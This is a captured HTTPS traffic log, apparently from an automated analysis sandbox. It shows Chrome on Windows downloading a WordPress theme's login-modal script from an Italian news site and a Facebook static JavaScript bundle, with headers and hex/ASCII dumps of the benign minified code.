2024-03-28 08:51:03 UTC	651	OUT	GET /wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.5 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify Cf-Polished: origSize=13630 etag: W/"65f20638-353e" last-modified: Wed, 13 Mar 2024 20:02:00 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5624 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vJBqJBbvpDK%2BALMVTBs2flQv%2BnGDFeBHetryMUaZBEI1j68BPgnsJFi8%2BcctnMY2dzYSv03YyHdubXDJVpJQzon0MzOrSICB83pWfAds%2FjxZld9rt7zOw0YHYLs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604bf80f7f7e-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	626	IN	Data Raw: 33 35 32 33 0d 0a 6a 51 75 65 72 79 28 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 7b 74 79 70 65 3a 22 69 6e 6c 69 6e 65 22 2c 70 72 65 6c 6f 61 64 65 72 3a 21 31 2c 66 6f 63 75 73 3a 22 23 6e 61 6d 65 22 2c 72 65 6d 6f 76 61 6c 44 65 6c 61 79 3a 35 30 30 2c 63 61 6c 6c 62 61 63 6b 73 3a 7b 62 65 66 6f 72 65 4f 70 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 74 2e 6d 61 69 6e 43 6c 61 73 73 3d 74 68 69 73 2e 73 74 2e 65 6c 2e 61 74 74 72 28 22 64 61 74 61 2d 65 66 66 65 63 74 22 29 3b 74 64 4c 6f 67 69 6e 2e 63 6c 65 61 72 46 69 65 6c 64 73 28 29 3b 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 29 3b 37 30 30 3e 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 3f 74 68 69 73 2e Data Ascii: 3523jQuery().ready(function(){var b={type:"inline",preloader:!1,focus:"#name",removalDelay:500,callbacks:{beforeOpen:function(){this.st.mainClass=this.st.el.attr("data-effect");tdLogin.clearFields();tdLogin.showHideMsg();700>jQuery(window).width()?this.
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 68 65 61 64 65 72 5f 75 73 65 72 22 29 2e 6c 65 6e 67 74 68 26 26 28 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 6a 51 75 65 72 79 28 22 62 6f 64 79 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 6d 65 6e 75 2d 6d 6f 62 2d 6f 70 65 6e 2d 6d 65 6e 75 22 29 2c 6a 51 75 65 72 79 28 22 2e 74 64 2d 6d 6f 62 69 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 68 69 64 65 28 29 2c 6a 51 75 65 72 79 28 22 23 74 64 2d 6d 6f 62 69 6c 65 2d 6e 61 76 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 68 69 64 65 2d 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 28 22 2e 74 64 2d 6d 6f 62 69 6c 65 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 73 68 6f 77 28 29 7d 2c 35 30 30 29 2c 74 64 Data Ascii: header_user").length&&(a.preventDefault(),jQuery("body").addClass("td-menu-mob-open-menu"),jQuery(".td-mobile-container").hide(),jQuery("#td-mobile-nav").addClass("td-hide-menu-content"),setTimeout(function(){jQuery(".td-mobile-container").show()},500),td
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 45 6c 65 6d 65 6e 74 73 28 5b 5b 22 23 74 64 2d 6c 6f 67 69 6e 2d 64 69 76 22 2c 30 5d 2c 5b 22 23 74 64 2d 72 65 67 69 73 74 65 72 2d 64 69 76 22 2c 31 5d 2c 5b 22 23 74 64 2d 66 6f 72 67 6f 74 2d 70 61 73 73 2d 64 69 76 22 2c 30 5d 5d 29 3b 6a 51 75 65 72 79 28 22 23 6c 6f 67 69 6e 2d 66 6f 72 6d 22 29 2e 61 64 64 43 6c 61 73 73 28 22 74 64 2d 6c 6f 67 69 6e 2d 61 6e 69 6d 61 74 69 6f 6e 22 29 3b 37 30 30 3c 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 26 26 21 31 3d 3d 3d 74 64 44 65 74 65 63 74 2e 69 73 49 65 26 26 6a 51 75 65 72 79 28 22 23 72 65 67 69 73 74 65 72 5f 65 6d 61 69 6c 22 29 2e 66 6f 63 75 73 28 29 Data Ascii: ).on("click",function(){tdLogin.showHideElements([["#td-login-div",0],["#td-register-div",1],["#td-forgot-pass-div",0]]);jQuery("#login-form").addClass("td-login-animation");700<jQuery(window).width()&&!1===tdDetect.isIe&&jQuery("#register_email").focus()
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 6c 6f 67 69 6e 2d 61 6e 69 6d 61 74 69 6f 6e 22 29 3b 6a 51 75 65 72 79 28 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 29 2e 68 69 64 65 28 29 7d 29 3b 6a 51 75 65 72 79 28 22 2e 74 64 2d 6c 6f 67 69 6e 2d 66 62 2d 6d 6f 64 61 6c 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 61 3d 6a 51 75 65 72 79 28 74 68 69 73 29 3b 74 64 4c 6f 67 69 6e 2e 64 6f 46 42 4c 6f 67 69 6e 41 63 74 69 6f 6e 28 61 29 7d 29 7d 29 3b 76 61 72 20 74 64 4c 6f 67 69 6e 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 4c 6f 67 69 6e 3d 7b 65 6d 61 69 6c 5f 70 61 74 74 65 72 6e 3a 2f 5e 5b 61 2d 7a 41 2d 5a 30 2d 39 5d 5b 61 2d 7a 41 2d 5a 30 2d Data Ascii: oveClass("td-login-animation");jQuery(".td_display_err").hide()});jQuery(".td-login-fb-modal").on("click",function(a){a.preventDefault();a=jQuery(this);tdLogin.doFBLoginAction(a)})});var tdLogin={};(function(){tdLogin={email_pattern:/^[a-zA-Z0-9][a-zA-Z0-
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 7b 66 3d 61 3b 74 64 4c 6f 67 69 6e 2e 64 6f 41 63 74 69 6f 6e 28 22 74 64 5f 6d 6f 64 5f 72 65 67 69 73 74 65 72 22 2c 64 2c 65 2c 22 22 2c 66 29 7d 29 7d 29 3a 74 64 4c 6f 67 69 6e 2e 64 6f 41 63 74 69 6f 6e 28 22 74 64 5f 6d 6f 64 5f 72 65 67 69 73 74 65 72 22 2c 64 2c 65 2c 22 22 29 29 3a 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 74 64 5f 65 6d 61 69 6c 5f 75 73 65 72 5f 69 6e 63 6f 72 72 65 63 74 29 7d 7d 2c 68 61 6e 64 6c 65 72 46 6f 72 67 6f 74 50 61 73 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 6a 51 75 65 72 79 28 22 23 66 6f 72 67 6f 74 5f 65 6d 61 69 6c 22 29 3b 62 2e 6c 65 6e 67 74 68 26 26 28 62 3d 62 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 2c 74 64 4c 6f 67 69 6e 2e 65 6d 61 69 6c 5f 70 61 74 74 65 72 6e 2e 74 Data Ascii: {f=a;tdLogin.doAction("td_mod_register",d,e,"",f)})}):tdLogin.doAction("td_mod_register",d,e,"")):tdLogin.showHideMsg(td_email_user_incorrect)}},handlerForgotPass:function(){var b=jQuery("#forgot_email");b.length&&(b=b.val().trim(),tdLogin.email_pattern.t
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 20 61 3d 6a 51 75 65 72 79 28 62 5b 30 5d 29 3b 61 2e 6c 65 6e 67 74 68 26 26 28 31 3d 3d 3d 62 5b 31 5d 3f 61 2e 61 64 64 43 6c 61 73 73 28 62 5b 32 5d 29 3a 61 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 62 5b 32 5d 29 29 7d 7d 2c 73 68 6f 77 48 69 64 65 4d 73 67 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3d 6a 51 75 65 72 79 28 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 29 3b 61 2e 6c 65 6e 67 74 68 26 26 28 76 6f 69 64 20 30 21 3d 3d 62 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 74 72 69 6e 67 26 26 30 3c 62 2e 6c 65 6e 67 74 68 3f 28 61 2e 73 68 6f 77 28 29 2c 61 2e 68 74 6d 6c 28 62 29 29 3a 28 61 2e 68 69 64 65 28 29 2c 61 2e 68 74 6d 6c 28 22 22 29 29 29 7d 2c 63 6c 65 61 72 46 69 65 6c 64 73 3a 66 75 6e 63 74 69 6f 6e Data Ascii: a=jQuery(b[0]);a.length&&(1===b[1]?a.addClass(b[2]):a.removeClass(b[2]))}},showHideMsg:function(b){var a=jQuery(".td_display_err");a.length&&(void 0!==b&&b.constructor===String&&0<b.length?(a.show(),a.html(b)):(a.hide(),a.html("")))},clearFields:function
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 29 2e 68 69 64 65 28 29 3b 62 2e 61 64 64 43 6c 61 73 73 28 22 74 64 73 2d 73 2d 62 74 6e 2d 73 61 76 69 6e 67 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 74 64 5f 6d 6f 64 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 72 65 67 69 73 74 65 72 22 3a 76 61 72 20 67 3d 6a 51 75 65 72 79 28 22 23 74 64 73 2d 72 65 67 69 73 74 65 72 2d 64 69 76 22 29 3b 62 3d 67 2e 63 6c 6f 73 65 73 74 28 22 2e 74 64 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 29 2e 66 69 6e 64 28 22 23 74 64 73 5f 72 65 67 69 73 74 65 72 5f 62 75 74 74 6f 6e 22 29 3b 67 2e 66 69 6e 64 28 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 29 2e 68 69 64 65 28 29 3b 62 2e 61 64 64 43 6c 61 73 73 28 22 74 64 73 2d 73 2d 62 74 6e 2d 73 61 76 69 6e 67 22 29 3b Data Ascii: d_display_err").hide();b.addClass("tds-s-btn-saving");break;case "td_mod_subscription_register":var g=jQuery("#tds-register-div");b=g.closest(".tds-block-inner").find("#tds_register_button");g.find(".td_display_err").hide();b.addClass("tds-s-btn-saving");
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 61 5b 32 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 72 65 67 69 73 74 65 72 22 3a 67 2e 6c 65 6e 67 74 68 26 26 67 2e 63 6c 6f 73 65 73 74 28 22 2e 74 64 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 29 2e 66 69 6e 64 28 22 23 74 64 73 5f 72 65 67 69 73 74 65 72 5f 62 75 74 74 6f 6e 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 73 2d 73 2d 62 74 6e 2d 73 61 76 69 6e 67 22 29 3b 69 66 28 31 3d 3d 3d 61 5b 31 5d 29 7b 69 66 28 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 2c 31 2c 22 74 64 5f 64 69 73 70 6c 61 79 5f 6d 73 67 5f 6f 6b 22 5d 29 2c 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e Data Ascii: Login.showHideMsg(a[2]);break;case "register":g.length&&g.closest(".tds-block-inner").find("#tds_register_button").removeClass("tds-s-btn-saving");if(1===a[1]){if(tdLogin.addRemoveClass([".td_display_err",1,"td_display_msg_ok"]),tdLogin.addRemoveClass([".
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 72 6f 72 22 5d 29 3b 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 61 5b 32 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 72 65 6d 65 6d 62 65 72 5f 70 61 73 73 22 3a 31 3d 3d 3d 61 5b 31 5d 3f 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 2c 31 2c 22 74 64 5f 64 69 73 70 6c 61 79 5f 6d 73 67 5f 6f 6b 22 5d 29 3a 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 2c 30 2c 22 74 64 5f 64 69 73 70 6c 61 79 5f 6d 73 67 5f 6f 6b 22 5d 29 3b 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 61 5b 32 5d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 72 65 73 65 74 5f 70 61 73 73 22 3a 6b 2e 6c 65 Data Ascii: ror"]);tdLogin.showHideMsg(a[2]);break;case "remember_pass":1===a[1]?tdLogin.addRemoveClass([".td_display_err",1,"td_display_msg_ok"]):tdLogin.addRemoveClass([".td_display_err",0,"td_display_msg_ok"]);tdLogin.showHideMsg(a[2]);break;case "reset_pass":k.le
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 73 67 5f 6f 6b 22 5d 29 2c 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 62 2e 65 72 72 6f 72 29 29 3a 28 22 22 21 3d 3d 62 2e 73 75 63 63 65 73 73 26 26 28 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e 74 64 5f 64 69 73 70 6c 61 79 5f 65 72 72 22 2c 31 2c 22 74 64 5f 64 69 73 70 6c 61 79 5f 6d 73 67 5f 6f 6b 22 5d 29 2c 74 64 4c 6f 67 69 6e 2e 73 68 6f 77 48 69 64 65 4d 73 67 28 62 2e 73 75 63 63 65 73 73 29 29 2c 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 21 30 29 29 7d 7d 29 7d 29 3a 28 61 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 74 64 2d 6c 6f 67 69 6e 2d 77 72 61 70 2d 66 62 2d 6f 70 65 6e 22 29 2c 74 64 4c 6f 67 69 6e 2e 61 64 64 52 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 2e 74 64 5f 64 69 73 70 6c Data Ascii: sg_ok"]),tdLogin.showHideMsg(b.error)):(""!==b.success&&(tdLogin.addRemoveClass([".td_display_err",1,"td_display_msg_ok"]),tdLogin.showHideMsg(b.success)),location.reload(!0))}})}):(a.removeClass("td-login-wrap-fb-open"),tdLogin.addRemoveClass([".td_displ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49801	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	609	OUT	GET /rsrc.php/v3iEpO4/yH/l/en_US/F6EglYYU9ZT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	1690	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: HeTU9Vai7sCeBJN6ci1ZYw== Expires: Fri, 28 Mar 2025 02:35:05 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: QxnspRzQSN6DuNhMqFqO4exXQHkE+Q0U469/gjKJRSm3UxWiFo3h6FeCuLPYBpsFaNVUU8WebrbNQd/oQNI/Kw== Date: Thu, 28 Mar 2024 08:51:03 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=14, mss=1274, tbw=3414, tp=-1, tpl=-1, uplat=9, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 545184
2024-03-28 08:51:03 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-03-28 08:51:03 UTC	16114	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 54 68 69 73 7c 7c 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 73 65 6c 66 7c 7c 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 5f 5f 6c 69 73 74 65 6e Data Ascii: /FB_PKG_DELIM/"use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listen
2024-03-28 08:51:03 UTC	16384	IN	Data Raw: 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 64 2e 6b 65 79 2c 64 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 63 26 26 61 28 62 2e 70 72 6f 74 6f 74 79 70 65 2c 63 29 3b 64 26 26 61 28 62 2c 64 29 3b 72 65 74 75 72 6e 20 62 7d 7d 28 29 3b 62 2e 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2c 62 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 62 26 26 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 5f 5f 73 75 70 65 72 43 6f 6e 73 74 72 75 63 74 6f 72 5f 5f 3d 62 3b 72 65 74 75 72 6e 20 62 7d 3b 62 2e 77 72 61 70 4e 61 Data Ascii: t.defineProperty(a,d.key,d)}}return function(b,c,d){c&&a(b.prototype,c);d&&a(b,d);return b}}();b.inheritsLoose=function(a,b){Object.assign(a,b);a.prototype=Object.create(b&&b.prototype);a.prototype.constructor=a;a.__superConstructor__=b;return b};b.wrapNa
2024-03-28 08:51:03 UTC	16384	IN	Data Raw: 2e 6d 65 73 73 61 67 65 50 61 72 61 6d 73 3d 64 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 61 29 7d 29 3b 62 2e 74 61 61 6c 4f 70 63 6f 64 65 73 3d 5b 67 2e 50 52 45 56 49 4f 55 53 5f 46 52 41 4d 45 5d 3b 72 65 74 75 72 6e 20 62 7d 62 3d 7b 65 72 72 3a 61 2c 54 41 41 4c 4f 70 63 6f 64 65 3a 67 7d 3b 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 73 70 72 69 6e 74 66 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 63 3d 6e 65 77 20 41 72 72 61 79 28 62 3e 31 3f 62 2d 31 3a 30 29 2c 64 3d 31 3b 64 3c 62 3b 64 2b 2b 29 Data Ascii: .messageParams=d.map(function(a){return String(a)});b.taalOpcodes=[g.PREVIOUS_FRAME];return b}b={err:a,TAALOpcode:g};f["default"]=b}),66);__d("sprintf",[],(function(a,b,c,d,e,f){function a(a){for(var b=arguments.length,c=new Array(b>1?b-1:0),d=1;d<b;d++)
2024-03-28 08:51:03 UTC	16384	IN	Data Raw: 61 73 68 3a 28 63 3d 62 2e 72 6f 6c 6c 6f 75 74 5f 68 61 73 68 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 6e 75 6c 6c 2c 73 63 72 69 70 74 5f 70 61 74 68 3a 62 2e 73 63 72 69 70 74 5f 70 61 74 68 2c 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 3a 59 28 62 2e 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 29 2c 73 70 69 6e 3a 59 28 62 2e 73 70 69 6e 29 2c 73 76 6e 5f 72 65 76 3a 53 74 72 69 6e 67 28 62 2e 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 29 2c 61 64 64 69 74 69 6f 6e 61 6c 5f 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 73 3a 41 72 72 61 79 2e 66 72 6f 6d 28 28 63 3d 62 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 73 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a Data Ascii: ash:(c=b.rollout_hash)!==null&&c!==void 0?c:null,script_path:b.script_path,server_revision:Y(b.server_revision),spin:Y(b.spin),svn_rev:String(b.client_revision),additional_client_revisions:Array.from((c=b.additional_client_revisions)!==null&&c!==void 0?c:
2024-03-28 08:51:03 UTC	1500	IN	Data Raw: 68 2b 31 5d 7d 65 6c 73 65 20 64 5b 30 5d 3d 67 3b 74 68 69 73 2e 5f 5f 65 6d 69 74 54 6f 53 75 62 73 63 72 69 70 74 69 6f 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 7d 74 68 69 73 2e 24 31 3d 6e 75 6c 6c 7d 7d 3b 63 2e 5f 5f 65 6d 69 74 54 6f 53 75 62 73 63 72 69 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 6e 65 77 20 41 72 72 61 79 28 64 3e 32 3f 64 2d 32 3a 30 29 2c 66 3d 32 3b 66 3c 64 3b 66 2b 2b 29 65 5b 66 2d 32 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 66 5d 3b 28 67 7c 7c 28 67 3d 62 28 22 45 72 72 6f 72 47 75 61 72 64 22 29 29 29 2e 61 70 70 6c 79 57 69 74 68 47 75 61 72 64 28 61 2e 6c 69 73 74 65 6e 65 72 2c 61 2e 63 6f 6e 74 65 78 74 2c 65 2c Data Ascii: h+1]}else d[0]=g;this.__emitToSubscription.apply(this,d)}}this.$1=null}};c.__emitToSubscription=function(a,c){for(var d=arguments.length,e=new Array(d>2?d-2:0),f=2;f<d;f++)e[f-2]=arguments[f];(g\|\|(g=b("ErrorGuard"))).applyWithGuard(a.listener,a.context,e,
2024-03-28 08:51:03 UTC	14884	IN	Data Raw: 53 5f 45 52 52 4f 52 5f 44 4f 4d 5f 51 55 4f 54 41 5f 52 45 41 43 48 45 44 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 67 28 62 29 26 26 61 26 26 61 2e 6c 65 6e 67 74 68 21 3d 3d 30 29 7d 66 2e 69 73 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 3d 67 3b 66 2e 69 73 53 74 6f 72 61 67 65 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 3d 62 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 57 65 62 53 74 6f 72 61 67 65 22 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 65 72 72 22 2c 22 69 73 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 Data Ascii: S_ERROR_DOM_QUOTA_REACHED"))}function b(a,b){return Boolean(g(b)&&a&&a.length!==0)}f.isQuotaExceededError=g;f.isStorageQuotaExceededError=b}),66);__d("WebStorage",["CookieConsent","FBLogger","err","isQuotaExceededError"],(function(a,b,c,d,e,f,g){"use str
